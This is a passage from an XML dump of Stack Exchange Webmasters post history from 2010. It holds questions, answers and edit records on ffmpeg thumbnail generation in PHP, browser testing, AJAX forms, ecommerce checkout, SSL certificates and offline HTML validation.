}&#xD;&#xA;&#xD;&#xA;        if (!empty($thumb_stdout))&#xD;&#xA;        {&#xD;&#xA;    	    foreach ($thumb_stdout as $line)&#xD;&#xA;    	    {&#xD;&#xA;                echo $line . &quot;\n&quot;;&#xD;&#xA;    	    }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        if (!empty($errors))&#xD;&#xA;        {&#xD;&#xA;    	    foreach ($errors as $error)&#xD;&#xA;    	    {&#xD;&#xA;                echo $error . &quot;\n&quot;;&#xD;&#xA;    	    }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Doesn't get much more cross-platform than that. &#xD;&#xA;&#xD;&#xA;Here's a breakdown of the flags:&#xD;&#xA;&#xD;&#xA; - -itsoffset flag is the time in the video that the snapshot is taken&#xD;&#xA; - -vcodec is the output type (change to png for png, etc...)&#xD;&#xA; - -vframes is set to one because you're extracting only one frame (IE an image)&#xD;&#xA; - you may also need to add -deinterlace&#xD;&#xA;&#xD;&#xA;That's about it. Doesn't get much easier than that. If you're doing multiple screenshots for a movie just change the -itsoffset flag. Other than that, it's a complete package unless you chose to add better error information or suppress outputs.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1253584/ffmpeg-php-image-creation/1277692#1277692" />
  <row Id="3287" PostHistoryTypeId="10" PostId="1701" RevisionGUID="f96c0525-0d2c-488f-bf42-e1efff008b82" CreationDate="2010-07-31T04:53:11.890" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="3288" PostHistoryTypeId="10" PostId="1619" RevisionGUID="f0b7787c-ff7b-4eac-b794-aec0b98329a2" CreationDate="2010-07-31T04:54:02.060" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="3289" PostHistoryTypeId="10" PostId="1766" RevisionGUID="e92cf53e-9587-48f0-b6e5-a93bfba813ba" CreationDate="2010-07-31T05:01:35.247" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="3290" PostHistoryTypeId="5" PostId="1766" RevisionGUID="4cdd86e1-d45e-4964-9684-b6a94ad38d96" CreationDate="2010-07-31T05:01:35.370" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the SEO rules for HTML 5?](http://webmasters.stackexchange.com/questions/1413/what-are-the-seo-rules-for-html-5)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Will using HTML5 semantic markup negatively effect my search rankings? I have read that using properly semantic markup, besides a general best practice, is also a white hat SEO technique. However since HTML5 is not quite yet finished, is using an element such as &lt;header&gt; and &lt;nav&gt; going to cause a penalty in search rankings?&#xD;&#xA;" />
  <row Id="3291" PostHistoryTypeId="12" PostId="1756" RevisionGUID="b2248a63-f426-4b0f-92af-7a00ad1a4e22" CreationDate="2010-07-31T05:22:36.147" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3292" PostHistoryTypeId="13" PostId="1756" RevisionGUID="3324daf7-b7fb-4833-9898-77a8dff867bb" CreationDate="2010-07-31T05:23:56.177" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3293" PostHistoryTypeId="5" PostId="1756" RevisionGUID="c2211f2a-88be-4ee2-a26a-7ca283faf180" CreationDate="2010-07-31T05:24:33.663" UserId="138" Comment="LMGTFY links are not appropriate on SE sites" Text="One word: StartCom&#xD;&#xA;&#xD;&#xA;http://cert.startcom.org/" />
  <row Id="3294" PostHistoryTypeId="2" PostId="1778" RevisionGUID="4481a556-1100-4e14-b95a-d9f330125d47" CreationDate="2010-07-31T12:17:10.843" UserId="1111" Text="I think Flowplayer[1] or something similar is a better solution as a snippet which you maybe have to edit or maintain.&#xD;&#xA;&#xD;&#xA;Once Fp is configured right, it can serve thumbs without loading the full video. It's a little bit tricky to configure this, but once it's work you have solid, multiplattform solution. (And with a click on the thumb the video plays ;-))&#xD;&#xA;&#xD;&#xA;If you choose flowplayer, you should also take a look at video4all[2] and the flowplayer-plugins[3]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] http://flowplayer.org/index.html (It's very good documented and with many examples)&#xD;&#xA;[2] http://code.google.com/p/video4all/ &lt;- Uses html5 with flowplayer as fallback&#xD;&#xA;[3] http://flowplayer.org/plugins/index.html&#xD;&#xA;" />
  <row Id="3295" PostHistoryTypeId="2" PostId="1779" RevisionGUID="6d0d2b0d-3dab-4c44-8df2-d0d01ee66286" CreationDate="2010-07-31T13:35:33.690" UserId="500" Text="&gt; How do I specify that I don't want to use cookies?&#xD;&#xA;&#xD;&#xA;It's not about what you need to do to have a cookieless domain - it's more about what you need to **not** do... To have a cookieless domain you have to make sure your application running on that domain *doesn't set any cookies*. This usually means not having logins, not having google analytics, not having sessions - i.e just serving media and nothing else. Obviously this depends on your setup.&#xD;&#xA;&#xD;&#xA;One mistake I made recently was that I didn't make the distinction between a domain and a sub-domain. I started serving all my media from `http://media.example.com` thinking it was a cookieless domain but actually it is a **sub**-domain and I found many of my cookies from the main site `http://www.example.com` where being set at a domain level and therefore polluting my suppossedly cookieless sub-domain. Here is the link for how I solved that problem: [http://serverfault.com/questions/160210/nginx-serve-static-content-from-a-cookieless-domain][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/160210/nginx-serve-static-content-from-a-cookieless-domain" />
  <row Id="3296" PostHistoryTypeId="2" PostId="1780" RevisionGUID="f309b7db-7c6c-4e73-9165-86f6873fa4ae" CreationDate="2010-07-31T15:25:49.897" UserId="204" Text="Have a look at http://www.squarespace.com/. Super easy to use, setup, and maintain. They have a really slick interface for customizing your layout. The examples section has a ton of variations of the different types of sites. And they can scale capacity if you get suddenly digged or slashdotted. They have an easy import/export process of your existing blog. The price is pretty reasonable for what you get, and you can find coupon codes if you look. Also they have a 2week free trial (as of this writing...).&#xD;&#xA;&#xD;&#xA;Otherwise, pretty much any well-respected shared host should be enough as long as you don't have very high traffic. The biggest drain on a CMS is database calls and to a lesser extent PHP usage (I tend to think the DB has more of a performance hit). You can mitigate that to an extent with caching in Wordpress.&#xD;&#xA;&#xD;&#xA;If you do have a lot of traffic then you should take a look at VPS solutions, which give you a lot more performance and customization/optimizations." />
  <row Id="3297" PostHistoryTypeId="16" PostId="1780" RevisionGUID="f309b7db-7c6c-4e73-9165-86f6873fa4ae" CreationDate="2010-07-31T15:25:49.897" UserId="-1" />
  <row Id="3298" PostHistoryTypeId="2" PostId="1781" RevisionGUID="9a1e0e3f-32a5-43f8-a8d3-ba9b5c17ca61" CreationDate="2010-07-31T18:55:52.297" UserId="641" Text="[CKEditor][1]&#xD;&#xA;&#xD;&#xA;I've been using CKEditor in my proprietary content management system for some time. It is JavaScript based with a great deal of configurability. Customers seem to be able to handle it well enough and it provides enough power to create some very detailed HTML without touching the raw HTML.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ckeditor.com/" />
  <row Id="3299" PostHistoryTypeId="2" PostId="1782" RevisionGUID="80a9a576-caa0-4b30-bcde-3506e4177dfc" CreationDate="2010-07-31T23:00:48.877" UserId="590" Text="I'm looking for an Open Source website backup tool.  I'm more interested in Open Source so I can make changes if need be and possibly contribute to the software. &#xD;&#xA;&#xD;&#xA; 1. Automatic scheduled FTP backups from mutiple web servers.&#xD;&#xA; 2. MySQL backups from databases (only partially important as I can just do mySQL dumps and get those with ftp)   &#xD;&#xA; 3. Differential and/or Incremental backups (improtant for bandwidth and disk space.)&#xD;&#xA; 4. Windows 7 or Linux support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm not really sure if this is a better question for Server Fault but I feel it can live here easy enough.  Thank you for any suggestions." />
  <row Id="3300" PostHistoryTypeId="1" PostId="1782" RevisionGUID="80a9a576-caa0-4b30-bcde-3506e4177dfc" CreationDate="2010-07-31T23:00:48.877" UserId="590" Text="Open Source website backup tool suggestions" />
  <row Id="3301" PostHistoryTypeId="3" PostId="1782" RevisionGUID="80a9a576-caa0-4b30-bcde-3506e4177dfc" CreationDate="2010-07-31T23:00:48.877" UserId="590" Text="&lt;php&gt;&lt;mysql&gt;&lt;site-maintenance&gt;&lt;backups&gt;" />
  <row Id="3302" PostHistoryTypeId="5" PostId="1782" RevisionGUID="7c8f028a-7bd1-493e-8774-66628dcb1020" CreationDate="2010-07-31T23:06:02.487" UserId="590" Comment="added 103 characters in body; edited tags; added 2 characters in body" Text="I'm looking for an Open Source website backup tool.  I'm more interested in Open Source so I can make changes if need be and possibly contribute to the software. &#xD;&#xA;&#xD;&#xA; 1. Automatic scheduled FTP backups from mutiple web servers.&#xD;&#xA; 2. MySQL backups from databases (only partially important as I can just do mySQL dumps and get those with ftp)   &#xD;&#xA; 3. Differential and/or Incremental backups (improtant for bandwidth and disk space.)&#xD;&#xA; 4. Windows 7 or Linux support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm not really sure if this is a better question for Server Fault but I feel it can live here easy enough.  Thank you for any suggestions.&#xD;&#xA;&#xD;&#xA;Software I've found  &#xD;&#xA; - &lt;a href=&quot;http://www.educ.umu.se/~cobian/cobianbackup.htm&quot;&gt;Cobian Backup&lt;/a&gt;" />
  <row Id="3303" PostHistoryTypeId="6" PostId="1782" RevisionGUID="7c8f028a-7bd1-493e-8774-66628dcb1020" CreationDate="2010-07-31T23:06:02.487" UserId="590" Comment="added 103 characters in body; edited tags; added 2 characters in body" Text="&lt;php&gt;&lt;site-maintenance&gt;&lt;mysql&gt;&lt;backups&gt;" />
  <row Id="3304" PostHistoryTypeId="2" PostId="1783" RevisionGUID="ee207553-9c12-4307-86a1-a7178990dcdd" CreationDate="2010-08-01T01:38:04.400" UserId="1134" Text="I've been using dream host for a couple of years now. I host a couple of wordpress installations on it (one is just a blog, one was part of an integrated site). They're competitively priced, very easy to use, and quick to respond to any problems on their end." />
  <row Id="3305" PostHistoryTypeId="16" PostId="1783" RevisionGUID="ee207553-9c12-4307-86a1-a7178990dcdd" CreationDate="2010-08-01T01:38:04.400" UserId="-1" />
  <row Id="3306" PostHistoryTypeId="2" PostId="1784" RevisionGUID="88a660d5-0f00-4139-b31a-bd6ed6f51700" CreationDate="2010-08-01T03:23:07.490" UserId="1160" Text="[Subversion][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://subversion.apache.org/" />
  <row Id="3307" PostHistoryTypeId="2" PostId="1785" RevisionGUID="899e5280-407e-4a4a-8ab5-2282e14eba49" CreationDate="2010-08-01T03:33:56.230" UserId="1160" Text="I have worked with quite a few checkout systems and eCommerce platforms. &#xD;&#xA;&#xD;&#xA;What are some of the GUI interfaces that you love and/or hate?&#xD;&#xA;&#xD;&#xA;Are there certain kinds of interfaces that convert sales better than others?" />
  <row Id="3308" PostHistoryTypeId="1" PostId="1785" RevisionGUID="899e5280-407e-4a4a-8ab5-2282e14eba49" CreationDate="2010-08-01T03:33:56.230" UserId="1160" Text="What is the best kind of checkout system for a website?" />
  <row Id="3309" PostHistoryTypeId="3" PostId="1785" RevisionGUID="899e5280-407e-4a4a-8ab5-2282e14eba49" CreationDate="2010-08-01T03:33:56.230" UserId="1160" Text="&lt;ssl&gt;&lt;ecommerce&gt;&lt;paypal&gt;&lt;google-checkout&gt;" />
  <row Id="3310" PostHistoryTypeId="2" PostId="1786" RevisionGUID="bc72924c-290e-4dd4-9f60-06ea6e1cf993" CreationDate="2010-08-01T03:48:57.260" UserId="29" Text="In what browsers do you testing your websites?" />
  <row Id="3311" PostHistoryTypeId="1" PostId="1786" RevisionGUID="bc72924c-290e-4dd4-9f60-06ea6e1cf993" CreationDate="2010-08-01T03:48:57.260" UserId="29" Text="In what browsers do you testing your websites?" />
  <row Id="3312" PostHistoryTypeId="3" PostId="1786" RevisionGUID="bc72924c-290e-4dd4-9f60-06ea6e1cf993" CreationDate="2010-08-01T03:48:57.260" UserId="29" Text="&lt;browsers&gt;" />
  <row Id="3313" PostHistoryTypeId="2" PostId="1787" RevisionGUID="7cff7d7b-61e2-4499-8f2e-4c55ae935cfc" CreationDate="2010-08-01T04:11:38.163" UserId="1160" Text="Which is better and why?&#xD;&#xA;&#xD;&#xA;I can see where a site that works 100% in AJAX might optimize a bit better, due to not having to reload the page on each click. &#xD;&#xA;&#xD;&#xA;But I am a huge fan of the big submit button at the bottom of the screen. &#xD;&#xA;&#xD;&#xA;Is it worth spending the time to convert a site to AJAX when it mostly only optimizes page load times?" />
  <row Id="3314" PostHistoryTypeId="1" PostId="1787" RevisionGUID="7cff7d7b-61e2-4499-8f2e-4c55ae935cfc" CreationDate="2010-08-01T04:11:38.163" UserId="1160" Text="Webpage Post Submits vs AJAX?" />
  <row Id="3315" PostHistoryTypeId="3" PostId="1787" RevisionGUID="7cff7d7b-61e2-4499-8f2e-4c55ae935cfc" CreationDate="2010-08-01T04:11:38.163" UserId="1160" Text="&lt;html&gt;&lt;performance&gt;&lt;ajax&gt;&lt;xml&gt;" />
  <row Id="3316" PostHistoryTypeId="2" PostId="1788" RevisionGUID="5113418f-20ad-474a-a7a8-54c19d7fb5b4" CreationDate="2010-08-01T04:14:23.967" UserId="1161" Text="Neither is really better than the other. It's a matter of preference for the most part. Do you want to reload the entire page, or just reload a certain portion of it. If the form is all you're showing, ajax is probably slower than reloading the page. However, if your form is just a small portion of the page, ajax would probably be faster. &#xD;&#xA;&#xD;&#xA;You can still have a big submit button. Just don't make it submit. Catch it's onclick event, do your ajax thang, and return false.&#xD;&#xA;&#xD;&#xA;Check out [jQuery][1] for some pretty painless ajax stuff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com" />
  <row Id="3317" PostHistoryTypeId="2" PostId="1789" RevisionGUID="1e2b1a44-e30f-4818-8d6a-1090c87555f7" CreationDate="2010-08-01T04:23:39.900" UserId="1031" Text="I have Firefox 3, Internet Explorer 8, Safari, and Opera on my desktop for testing because they are popular (I only use Firefox for normal Internet activites), and a browser testing service such as browsershots.org for a greater selection for testing the final website (I use the default recommended browsers)." />
  <row Id="3318" PostHistoryTypeId="2" PostId="1790" RevisionGUID="b738af28-b69b-467e-9559-389772611d2c" CreationDate="2010-08-01T04:33:41.017" UserId="29" Text="I currently testing my websites in this browsers:&#xD;&#xA;&#xD;&#xA;Internet Explorer 6 on XP  &#xD;&#xA;Internet Explorer 7 on XP  &#xD;&#xA;Internet Explorer 8 on Window 7  &#xD;&#xA;&#xD;&#xA;Firefox 1.5 on XP  &#xD;&#xA;Firefox 2 on XP  &#xD;&#xA;Firefox 3 on Windows 7  &#xD;&#xA;&#xD;&#xA;Safari 3  &#xD;&#xA;Safari 4  &#xD;&#xA;Safari 5&#xD;&#xA;&#xD;&#xA;Chrome 5&#xD;&#xA;&#xD;&#xA;Opera 9  &#xD;&#xA;Opera 10  &#xD;&#xA;&#xD;&#xA;http://www.oldapps.com/old_version_list_web_browser.php" />
  <row Id="3319" PostHistoryTypeId="2" PostId="1791" RevisionGUID="38dc4a2c-9fd3-4c37-80ae-988d4f906c2a" CreationDate="2010-08-01T04:33:47.583" UserId="745" Text="IE6-8, Firefox, Chrome, Opera, and Safari. I also test with JavaScript disabled. In the future and as resources allow, I'd consider the iPhone, iPad, Android for mobile platforms and text-only browser like Lynx for accessibility purposes. Beyond that, for me at least, the percentages get so low that there are diminishing returns for each additional browser. &#xD;&#xA;&#xD;&#xA;For IE testing, I use [IETester][1] and IE8, both regular and in compatibility mode. The other major browsers have a much quicker release cycle, so I find it's not as important to test their older versions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="3320" PostHistoryTypeId="5" PostId="1790" RevisionGUID="7485a0fc-b335-4fd8-8768-ae34a1d4f55a" CreationDate="2010-08-01T04:43:22.270" UserId="29" Comment="added 57 characters in body" Text="I currently testing my websites in this browsers. I have this browsers installed through virtual machines.&#xD;&#xA;&#xD;&#xA;Internet Explorer 6 on XP  &#xD;&#xA;Internet Explorer 7 on XP  &#xD;&#xA;Internet Explorer 8 on Window 7  &#xD;&#xA;&#xD;&#xA;Firefox 1.5 on XP  &#xD;&#xA;Firefox 2 on XP  &#xD;&#xA;Firefox 3 on Windows 7  &#xD;&#xA;&#xD;&#xA;Safari 3  &#xD;&#xA;Safari 4  &#xD;&#xA;Safari 5&#xD;&#xA;&#xD;&#xA;Chrome 5&#xD;&#xA;&#xD;&#xA;Opera 9  &#xD;&#xA;Opera 10  &#xD;&#xA;&#xD;&#xA;http://www.oldapps.com/old_version_list_web_browser.php" />
  <row Id="3321" PostHistoryTypeId="2" PostId="1792" RevisionGUID="afd3a28d-0dd1-42da-a8dd-5d9b9f57d925" CreationDate="2010-08-01T04:44:01.597" UserId="745" Text="In most cases, you need to have the manual submit, even when you've utilized AJAX to submit your forms. JavaScript is not always enabled for a variety of reasons. Most text-only browsers usually don't interpret JavaScript and so it's important to have a fallback. Also, although I know it's not applicable for most forms, search engines have very limited ability to parse and execute JavaScript, so it's best not to use it to construct menus.&#xD;&#xA;&#xD;&#xA;Is it better to enhance a form with AJAX? It depends on your situation and also on your implementation. If all you're doing is an AJAX form submission, I'd recommend against the extra 20K overhead of a JavaScript framework like jQuery or MooTools. In that case, use pure JavaScript. However, if you're using the framework elsewhere as well, it could be a good choice. Just be aware that using AJAX can present a number of usability issues (like the back button behavior).&#xD;&#xA;&#xD;&#xA;Also, just as a warning and friendly reminder, don't just do your validation with JavaScript. It needs to be done on the server, first and foremost. Use the JavaScript to enhance the security, not to provide it." />
  <row Id="3322" PostHistoryTypeId="2" PostId="1793" RevisionGUID="fe30e562-0feb-4b9c-93d2-cbcf3cbf75c5" CreationDate="2010-08-01T04:58:15.790" UserId="745" Text="Your question is a little general, but I think I get the gist of it.&#xD;&#xA;&#xD;&#xA;I've worked with VirtueMart for Joomla and I would avoid it like the plague. It's very buggy in the front and backend and you'll have to hack at it a lot to get it even close to working.&#xD;&#xA;&#xD;&#xA;OSCommerce/ZenCart are okay function wise, but they could definitely use a refresh in the admin.&#xD;&#xA;&#xD;&#xA;For the next ecommerce site I do, I'll probably try Magento. It seems like a solid solution, but I've heard that it's a little slow. The admin user interface is modern and far above most of the other options I've seen out there.&#xD;&#xA;&#xD;&#xA;As for payment gateways, I've only used PayPal, but I've never had an problems with it.&#xD;&#xA;&#xD;&#xA;There is a lot that goes into conversion rates. In general, the best converting interfaces are going to be the easiest. If your checkout is a difficult process, it's going to kill your sales. The easier you make it for someone to purchase something, the more sales you'll have. Other factors include layout, product images, sales copy, reviews, product info, price, shipping prices and information, and the product itself. It all ties together and every part is important. However, each store is different and the only way to tell what converts best for you is to iteratively test all of the things I mentioned." />
  <row Id="3323" PostHistoryTypeId="2" PostId="1794" RevisionGUID="3441bf79-fb66-4548-b328-152e43c41248" CreationDate="2010-08-01T06:03:45.287" UserId="1082" Text="I test IE6 - 8 and Opera, Safari, Chrome and firefox.&#xD;&#xA;&#xD;&#xA;I only test the latest version of Safari, Chrome, and Opera because I have noticed that people who use these browsers tend to keep them updated. I check the last 2-3 versions of FireFox.&#xD;&#xA;" />
  <row Id="3324" PostHistoryTypeId="5" PostId="1786" RevisionGUID="9b09773e-cc7b-48ed-85f0-e80828464aea" CreationDate="2010-08-01T07:42:10.843" UserDisplayName="delete" Comment="deleted 3 characters in body; edited tags; edited title" Text="In what browsers do you test your websites?" />
  <row Id="3325" PostHistoryTypeId="4" PostId="1786" RevisionGUID="9b09773e-cc7b-48ed-85f0-e80828464aea" CreationDate="2010-08-01T07:42:10.843" UserDisplayName="delete" Comment="deleted 3 characters in body; edited tags; edited title" Text="In what browsers do you test your websites?" />
  <row Id="3326" PostHistoryTypeId="6" PostId="1786" RevisionGUID="9b09773e-cc7b-48ed-85f0-e80828464aea" CreationDate="2010-08-01T07:42:10.843" UserDisplayName="delete" Comment="deleted 3 characters in body; edited tags; edited title" Text="&lt;browsers&gt;&lt;testing&gt;" />
  <row Id="3327" PostHistoryTypeId="2" PostId="1795" RevisionGUID="67b83820-b26d-4fb3-9ee8-a688a7fdb34c" CreationDate="2010-08-01T11:55:38.970" UserId="1034" Text="I test regularly in Firefox, IE8 + compatibility mode, Opera &amp; Chrome.&#xD;&#xA;&#xD;&#xA;Safari uses the same rendering engine (WebKit) as Chrome, so the results will be pretty much the same as those of Chrome. I tested that a few times and the results were as expected, so I dropped Safari from my testing loop. &#xD;&#xA;&#xD;&#xA;That covers 99% of my total visitors anyway. I can live with 1% having potentially a less than optimal browsing experience. &#xD;&#xA;&#xD;&#xA;Every once in a while I test on other computers. Typically, I drop by a cybercafe or two after a major change, and see what it looks like on other hardware configurations. &#xD;&#xA;&#xD;&#xA;My opinion is that trying to get that last 1 percent covered is not a good investment of my time, and probably isn't a good investment for most webmasters. That one percent will take a disproportionate amount of work that would be better invested in improving my site for most of my customers, the other 99%. " />
  <row Id="3328" PostHistoryTypeId="2" PostId="1796" RevisionGUID="cc38e7d7-49d5-43b3-b282-c53ff9c7d8f4" CreationDate="2010-08-01T12:03:22.993" UserId="1034" Text="The issue you should consider is the user's experience and how it relates to conversion. &#xD;&#xA;&#xD;&#xA;If using AJAX create a better experience for your users and helps them convert, you should probably use it. &#xD;&#xA;&#xD;&#xA;A simple example: your user chooses a user name. The user name is already taken. Using AJAX to check in the background and letting him know right then and there is much better than letting him complete the form and reload the page.&#xD;&#xA;&#xD;&#xA;Most of the time, I find that AJAX improves things." />
  <row Id="3329" PostHistoryTypeId="2" PostId="1797" RevisionGUID="5cd9a216-a8af-47d8-a4f2-b23167c95f82" CreationDate="2010-08-01T14:06:13.300" UserId="1111" Text="Magento[1] is a very nice all-in-one solution. They have a good solution that's for free and fits the most needs you may have. For &quot;bigger&quot; business use there are really many plugins (like gift coupon, secure payment bridge, and many more).&#xD;&#xA;&#xD;&#xA;[1] http://magentocommerce.com/" />
  <row Id="3330" PostHistoryTypeId="2" PostId="1798" RevisionGUID="e18519a5-d902-4dcb-b04a-2ee63b09b5ae" CreationDate="2010-08-01T14:31:17.437" UserId="969" Text="Not that i suggest wordpress for any eCommerce websites but if you are using it to sell a &lt;b&gt;few things&lt;/b&gt; out of your site take a look at &lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot;&gt;instinct one page wordpress checkout&lt;/a&gt;" />
  <row Id="3331" PostHistoryTypeId="2" PostId="1799" RevisionGUID="cbb3710a-b4b3-427b-946d-a2fdef613e89" CreationDate="2010-08-01T14:34:28.830" UserId="969" Text="I use &lt;a href=&quot;http://finalbuilds.edskes.net/iecollection.htm&quot;&gt;IE collection&lt;/a&gt; on a virtualBox (from a mac).&#xD;&#xA;&#xD;&#xA;Some sites i test up to (down to) IE6, but most sites i check (and hack and pinch the bugs out of them, the most i could) in IE7 and up." />
  <row Id="3332" PostHistoryTypeId="2" PostId="1800" RevisionGUID="ce24c364-047d-4a16-9b26-5c1b0e10d06f" CreationDate="2010-08-01T14:36:01.183" UserId="969" Text="The longer we will support this ugly monster the longer it will live, take him off the respirator as he is too old and making our lives miserable " />
  <row Id="3333" PostHistoryTypeId="2" PostId="1801" RevisionGUID="dacb0437-16a8-4cf3-839a-45759626778b" CreationDate="2010-08-01T15:39:54.790" UserId="327" Text="I switched to http://www.digicert.com Extended SSL for our eCommerce sites.&#xD;&#xA;&#xD;&#xA;I used to use Verisign and Thawte.com but found digicert to be great and support is very good. If you don't need the extended (green bar) SSL I think any of the providers like GoDaddy and the like will do." />
  <row Id="3334" PostHistoryTypeId="2" PostId="1802" RevisionGUID="79953f22-6497-4f86-ad2c-b4a9e96bf89e" CreationDate="2010-08-01T19:12:08.817" UserId="100" Text="When I'm developing a website locally sometimes I want to check if the html is valid but I haven't been able to find a good tool. I want it partial as a sanity check when I'm troubleshooting layout issues.&#xD;&#xA;&#xD;&#xA;Can you please suggest a tool that can validate HTML **offline**? I'm not looking for validation inside of an IDE but something that will load the page from the web server.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="3335" PostHistoryTypeId="1" PostId="1802" RevisionGUID="79953f22-6497-4f86-ad2c-b4a9e96bf89e" CreationDate="2010-08-01T19:12:08.817" UserId="100" Text="How can I validate HTML offline?" />
  <row Id="3336" PostHistoryTypeId="3" PostId="1802" RevisionGUID="79953f22-6497-4f86-ad2c-b4a9e96bf89e" CreationDate="2010-08-01T19:12:08.817" UserId="100" Text="&lt;html&gt;&lt;web-development&gt;&lt;webmaster-tools&gt;&lt;validation&gt;" />
  <row Id="3337" PostHistoryTypeId="5" PostId="763" RevisionGUID="19e3bdf2-6d6b-4150-9af7-78f4ac4f84c2" CreationDate="2010-08-01T19:14:59.420" UserId="100" Comment="edited body" Text="I'd recommend looking at the third party solution that is [disqus][1]. It provides spam protection, moderation, and supports logins of openid, facebook, twitter, and their own disqus accounts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://disqus.com" />
  <row Id="3338" PostHistoryTypeId="2" PostId="1803" RevisionGUID="f4d48d44-1be5-4af2-bc35-defc1204cedb" CreationDate="2010-08-01T20:11:40.783" UserId="1111" Text="You can download the source and/or packages direct from w3[1].&#xD;&#xA;&#xD;&#xA;[1] http://validator.w3.org/source/" />
  <row Id="3339" PostHistoryTypeId="2" PostId="1804" RevisionGUID="ebf95b7c-17f6-4b71-acf8-96ed1dc62607" CreationDate="2010-08-01T20:16:54.500" UserId="55" Text="Have you checked out [HTML Tidy][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tidy.sourceforge.net/" />
  <row Id="3340" PostHistoryTypeId="2" PostId="1805" RevisionGUID="dfa29b00-bfc9-4c91-bba6-bd952bc572ae" CreationDate="2010-08-01T20:42:45.653" UserId="1168" Text="If you have production data available, it is reasonable to use them for testing, but use a separate testing database with a copy of that data. Otherwise many things will work for your few &quot;blabla&quot; testing records but not for a real scenario.&#xD;&#xA;&#xD;&#xA;And for developing on a live production data - remember the Murphy's laws &quot;Anything that can go wrong will go wrong.&quot;, and it is so easy to make a small mistake with large bad consequences   ." />
  <row Id="3341" PostHistoryTypeId="2" PostId="1806" RevisionGUID="65211dd2-371e-4ede-b9f4-8f0f736233ac" CreationDate="2010-08-01T20:49:35.013" UserId="745" Text="You can validate HTML and CSS locally (and do a lot of other useful things) with the [Web Developer Toolbar][1] add-on for Firefox. It's also available for [Google Chrome][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/60/&#xD;&#xA;  [2]: https://chrome.google.com/extensions/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm" />
  <row Id="3342" PostHistoryTypeId="5" PostId="1785" RevisionGUID="7177bd81-d51f-4f6e-b892-c7eefd3464f3" CreationDate="2010-08-01T23:30:01.397" UserId="1160" Comment="added 812 characters in body" Text="I have worked with quite a few checkout systems and eCommerce platforms. &#xD;&#xA;&#xD;&#xA;&lt;strike&gt;What are some of the GUI interfaces that you love and/or hate?&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;Are there certain kinds of interfaces that convert sales better than others?&#xD;&#xA;&#xD;&#xA;[---edit for topic question focus-------------------------------------------]&#xD;&#xA;&#xD;&#xA;For me there are really only two questions:&#xD;&#xA;&#xD;&#xA;A) SSL self hosted vs. 3rd party checkout&#xD;&#xA;&#xD;&#xA;  a1) for SSL this requires an [SSL certificate][1] and secure website routines to handle a credit card.&#xD;&#xA;&#xD;&#xA;  a2) for 3rd party, there is [PayPal][2], [Authorize.net][3], and [GoogleCheckout][4]&#xD;&#xA;&#xD;&#xA;B) Single-Step vs. multicheckout see: [step two on this page][5]&#xD;&#xA;&#xD;&#xA;  b1) Single-Step seems easy enough, but does it convert better?&#xD;&#xA;&#xD;&#xA;  b2) multicheckout can get convoluted, but with a progress bar does it help the user convert?&#xD;&#xA;&#xD;&#xA;Hopefully this will focus on *the four possible answers* given either/or answers to the above. &#xD;&#xA;&#xD;&#xA;  [5]: http://www.webdesignerdepot.com/2009/04/10-tips-to-design-usable-shopping-carts/" />
